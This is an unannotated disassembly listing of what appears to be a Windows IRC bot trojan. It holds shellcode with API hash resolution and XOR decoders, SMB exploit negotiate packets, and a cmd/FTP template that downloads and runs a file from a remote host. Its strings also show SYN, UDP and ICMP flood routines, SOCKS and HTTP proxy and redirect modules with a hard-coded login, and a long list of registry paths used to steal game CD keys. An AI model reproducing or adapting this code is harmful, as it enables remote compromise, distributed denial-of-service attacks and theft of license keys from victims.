aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444840	dd 10FF8h, 0	dword_444848	dd 10FF8h	dword_44484C	dd 7FFDF020h, 0	dword_444854	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44490C	dd 0		dword_444910	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444918	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A14
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A2A
		mov	[esi+8], eax
		call	sub_4449DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A2A
		mov	[esi+0Ch], eax
		call	sub_44498F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A2A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444918	endp


; =============== S U B	R O U T	I N E =======================================



sub_44498F	proc near		; CODE XREF: sub_444918+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44498F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449B8	proc near		; CODE XREF: sub_44498F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449C7:				; CODE XREF: sub_4449B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449D4
		inc	ebx
		jmp	short loc_4449C7
; ---------------------------------------------------------------------------


loc_4449D4:				; CODE XREF: sub_4449B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449DD	proc near		; CODE XREF: sub_444918+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449F5:				; CODE XREF: sub_4449DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449FD
		mov	ecx, [ecx]
		jmp	short loc_4449F5
; ---------------------------------------------------------------------------


loc_4449FD:				; CODE XREF: sub_4449DD+1Aj
		mov	edx, edi


loc_4449FF:				; CODE XREF: sub_4449DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_444A09
		mov	edx, [edx+4]
		jmp	short loc_4449FF
; ---------------------------------------------------------------------------


loc_444A09:				; CODE XREF: sub_4449DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A14	proc near		; CODE XREF: sub_444918+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A2A	proc near		; CODE XREF: sub_444918+16p
					; sub_444918+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A40:				; CODE XREF: sub_444A2A+33j
		jecxz	short loc_444A7A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A4D:				; CODE XREF: sub_444A2A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A59
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A4D
; ---------------------------------------------------------------------------


loc_444A59:				; CODE XREF: sub_444A2A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A40
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A7A:				; CODE XREF: sub_444A2A:loc_444A40j
					; sub_444A2A:loc_444A7Aj
		jmp	short loc_444A7A
sub_444A2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A80	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AD2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A9D:				; CODE XREF: sub_444A80+38j
		jecxz	short loc_444ACD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444AA8:				; CODE XREF: sub_444A80+32j
		lodsb
		test	al, al
		jz	short loc_444AB4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444AA8
; ---------------------------------------------------------------------------


loc_444AB4:				; CODE XREF: sub_444A80+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A9D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ACD:				; CODE XREF: sub_444A80:loc_444A9Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AD2	proc near		; CODE XREF: sub_444A80+7p

; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AEB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AF6
; ---------------------------------------------------------------------------


loc_444AEB:				; CODE XREF: sub_444AD2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AF6:				; CODE XREF: sub_444AD2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444B0A
sub_444AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AFD	proc near		; CODE XREF: sub_444AD2:loc_444B0Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AD2


loc_444B0A:				; CODE XREF: sub_444AD2+29j
		call	sub_444AFD
; END OF FUNCTION CHUNK	FOR sub_444AD2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444BA4	dd 23h		dword_444BA8	dd 60h		dword_444BAC	dd 62B0606h, 2050501h, 0A0hdword_444BB8	dd 0A1h		dword_444BBC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BC8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BD0
; ---------------------------------------------------------------------------
		align 10h
dword_444BD0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C78:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C7C
; ---------------------------------------------------------------------------


loc_444C7A:				; CODE XREF: ___:loc_444C7Cp
		jmp	short loc_444C81
; ---------------------------------------------------------------------------


loc_444C7C:				; CODE XREF: ___:loc_444C78j
		call	loc_444C7A


loc_444C81:				; CODE XREF: ___:loc_444C7Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C86	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C8B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C90:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C94
; ---------------------------------------------------------------------------


loc_444C92:				; CODE XREF: ___:loc_444C94p
		jmp	short loc_444C99
; ---------------------------------------------------------------------------


loc_444C94:				; CODE XREF: ___:loc_444C90j
		call	loc_444C92


loc_444C99:				; CODE XREF: ___:loc_444C92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C9D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444CA1	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444CA8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C	dd 74656720h	byte_444D20	db 20h			; DATA XREF: sub_425270+A2r
dword_444D21	dd 0E8006A00h	dword_444D25	dd 17h							; sub_425270+D2r
dword_444D29	dd 0E8C30175h	dword_444D2D	dd 1							; sub_425270+E7r
byte_444D31	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D3B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F40	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445230	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445258	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445338	dd 1000005h, 0	dword_445340	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:00445408o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454E4	dd 524F5453h	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454EC	dd 52544552h	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454F4	dd 5453494Ch	byte_4454F8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454FC	dd 54534C4Eh	byte_445500	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_445504	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456BC	dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
					; "InterlockedCompareExchange"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456FC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_445700	dd 25206425h, 64hdword_445708	dd 455A4953h, 732520h, 0dword_445714	dd 4D54444Dh, 732520h, 0dword_445720	dd 4F544E52h, 732520h, 0dword_44572C	dd 52464E52h, 732520h, 0dword_445738	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44574C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
					; ___:off_4456BCo
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA_0:					; DATA XREF: sub_433A20+36o
		unicode	0, <€>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 4468A4h, 446F70h,	446870h, 80000002h, 446810h
		dd 446F70h, 4467E0h, 80000002h,	446788h, 446F70h, 446764h
		dd 80000002h, 44671Ch, 446F70h,	446704h, 80000002h, 4466C0h
		dd 446F70h, 446698h, 80000002h,	44665Ch, 446F70h, 446628h
		dd 80000002h, 4465C8h, 446F70h,	44659Ch, 80000002h, 446578h
		dd 446570h, 446544h, 80000002h,	44651Ch, 446570h, 446504h
		dd 80000001h, 4464D4h, 4464D0h,	4464C0h, 80000002h, 446484h
		dd 446F70h, 446474h, 80000002h,	446438h, 446F70h, 446424h
		dd 80000002h, 4463DCh, 446F70h,	4463C0h, 80000002h, 44637Ch
		dd 446F70h, 446360h, 80000001h,	446338h, 4464D0h, 446328h
		dd 80000001h, 446300h, 4464D0h,	4462E0h, 80000002h, 4462A4h
		dd 4462A0h, 446284h, 80000002h,	446260h, 446258h, 446240h
		dd 80000001h, 446214h, 44620Ch,	4461E8h, 80000002h, 44619Ch
		dd 446F70h, 446174h, 80000002h,	446120h, 446F70h, 4460E8h
		dd 80000002h, 446084h, 446F70h,	446050h, 80000002h, 445FF0h
		dd 446F70h, 445FD4h, 80000002h,	445F8Ch, 446F70h, 445F70h
		dd 80000002h, 445F28h, 446F70h,	445F18h, 80000002h, 445EDCh
		dd 446F70h, 445ECCh, 80000002h,	445E90h, 446F70h, 445E68h
		dd 80000002h, 445E14h, 446F70h,	445DECh, 80000002h, 445D9Ch
		dd 446F70h, 445D80h, 80000002h,	445D58h, 4464D0h, 445D44h
		dd 80000002h, 445D0Ch, 446F70h,	445CDCh, 80000002h, 445C84h
		dd 446F70h, 445C68h, 80000001h,	445C18h, 445C10h, 445BF4h
		dd 80000002h, 445BB0h, 445BA4h,	445B8Ch, 80000001h, 445B5Ch
		dd 445B50h, 445B30h, 80000002h,	445AF4h, 445C10h, 445AD4h
		dd 80000002h, 445A98h, 445C10h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
